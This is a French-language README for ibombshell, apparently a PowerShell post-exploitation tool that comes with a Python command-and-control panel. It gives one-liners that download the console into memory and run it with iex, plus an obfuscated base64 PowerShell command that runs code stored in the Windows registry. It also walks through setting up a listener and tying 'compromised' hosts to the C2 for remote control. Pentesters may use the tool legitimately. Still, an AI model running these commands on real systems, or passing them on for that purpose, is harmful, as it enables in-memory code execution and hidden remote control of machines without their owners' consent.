
Outil pour déployer une invite de post-exploitation à tout moment
,--.!, _ ____ __ _____ __ ____
__/ -*- (_) __ )____ ____ ___ / /_ / ___// /_ ___ / / /
,d08b. '|` / / __ / __ \/ __ `__ \/ __ \\__ \/ __ \/ _ \/ / /
0088MM / / /_/ / /_/ / / / / / / /_/ /__/ / / / / __/ / /
`9MMP' /_/_____/\____/_/ /_/ /_/_.___/____/_/ /_/\___/_/_/
[+] Démarrage de la console...
[*] Console prête !
ibombshell est un outil écrit en Powershell qui vous permet d'avoir une invite à tout moment avec des fonctionnalités de post-exploitation (et dans certains cas d'exploitation). C'est un shell qui est téléchargé directement en mémoire offrant l'accès à un grand nombre de fonctionnalités de pentesting. Ces fonctionnalités peuvent être téléchargées directement en mémoire, sous la forme d'une fonction Powershell. Cette forme d'exécution est connue sous le nom d'everywhere.
De plus, ibombshell propose un deuxième mode d'exécution appelé Silently, permettant au pentester d'exécuter une instance d'ibombshell (appelée warrior). L'ordinateur compromis sera connecté à un panneau C2 via HTTP. Il sera donc possible de contrôler le warrior et de charger des fonctions en mémoire qui aident le pentester. Cela se produit dans la phase de post-exploitation.
Pour exécuter ibombshell everywhere, il est obligatoire d'avoir PowerShell 3.0 ou supérieur. Pour les systèmes d'exploitation autres que Windows, vous pouvez en savoir plus sur PowerShell GitHub - PowerShell pour chaque système !.
Pour exécuter le mode silencieux d'ibombshell, vous avez besoin de python 3.6 et de certaines bibliothèques python. Vous pouvez les installer avec :
cd ibombshell\ c2/
pip install -r requirements.txt
Remarque : ibombshell C2 fonctionne en python 3.X. Assurez-vous d'exécuter un pip correspondant à cette version.
ibombshell a deux modes d'exécution :
Pour charger ibombshell, exécutez simplement dans PowerShell :
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)
Vous pouvez maintenant exécuter la console ibombshell téléchargée en exécutant :
console
Si vous devez utiliser ibombshell dans des environnements isolés, vous devez d'abord préparer votre ordinateur dans un environnement réseau. Chargez toutes les fonctions dont vous aurez besoin et utilisez savefunctions pour les enregistrer dans le registre Windows.
Vous pouvez maintenant utiliser ce code base 64 pour obtenir ibombshell :
powershell.exe -E "JABwAGEAdABoACAAPQAgACcAaABrAGMAdQA6AFwAcwBvAGYAdAB3AGEAcgBlAFwAYwBsAGEAcwBzAGUAcwBcAGkAYgBvAG0AYgBzAGgAZQBsAGwAXABjAG8AbgBzAG8AbABlACcAOwAgAHQAcgB5ACAAewAJAGkAZgAoAHQAZQ
BzAHQALQBwAGEAdABoACAAJABwAGEAdABoACkAIAB7ACAAJABjAG8AbgBzAG8AbABlACAAPQAgACgARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAcABhAHQAaAApAC4ATgBhAG0AZQA7ACAAYwBkACAAaABrAGMAdQA6
ADsAIAAkAG4AYQBtAGUAIAA9ACAAJABjAG8AbgBzAG8AbABlAC4AcwBwAGwAaQB0ACgAIgBcACIAKQBbAC0AMQBdADsAIAAkAGMAbwBkAGUAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABjAG
8AbgBzAG8AbABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAUAByAG8AcABlAHIAdAB5ACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUA
YwB0ACAAewBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAcABzAG8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABAAHsAIgBwAHIAbwBwAGUAcgB0AHkAIgA9ACQAXwA7ACAAIgBWAGEAbAB1AGUAIgAgAD0AIAAoAEcAZQ
B0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQAYwBvAG4AcwBvAGwAZQAiACAALQBOAGEAbQBlACAAJABfACkALgAkAF8AfQB9ACkALgBWAGEAbAB1AGUAOwAgACQAYwBvAGQAZQAgAHwAIABv
AHUAdAAtAHMAdAByAGkAbgBnACAAfAAgAGkAZQB4ADsAIABjADoAOwAgAGMAbwBuAHMAbwBsAGUAOwB9AH0AYwBhAHQAYwBoAHsAdwByAGkAdABlAC0AaABvAHMAdAAgACQARQByAHIAbwByAFsAMABdAH0A"
Cette version vous permet d'exécuter la console ibombshell et de la contrôler à distance depuis le panneau C2 créé en python. Pour exécuter cette version, vous devez d'abord lancer le processus console dans powershell :
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)
Dans le chemin ibombshell C2, préparez le C2 :
python3 ibombshell.py
Et créez le listener où les warriors se connecteront :
iBombShell> load modules/listener.py
[+] Loading module...
[+] Module loaded!
iBombShell[modules/listener.py]> run
Le port par défaut du listener est 8080. Enfin, vous pouvez lancer la console en mode silencieux sur l'hôte pour obtenir un contrôle à distance :
console -Silently -uriConsole http://[ip or domain]:[port]
Le fonctionnement de base du panneau de contrôle ibombshell suit le schéma suivant :
ibombshell C2
| |
| newibombshell |
+--------------------->| --+ register
| |<--+ from IP
| get functions |
| and instructions |
+--------------------->|
| |
| send functions |
| and instructions |
execute +-- |<---------------------+
+-->| |
| results |
+--------------------->|
| |
Nous avons créé un conteneur docker avec tout ce dont vous avez besoin pour le faire fonctionner. Exécutez cette commande depuis l'emplacement du Dockerfile.
sudo docker build -t "ibombshell" .
sudo docker run -it ibombshell
Quelques vidéos d'exemple...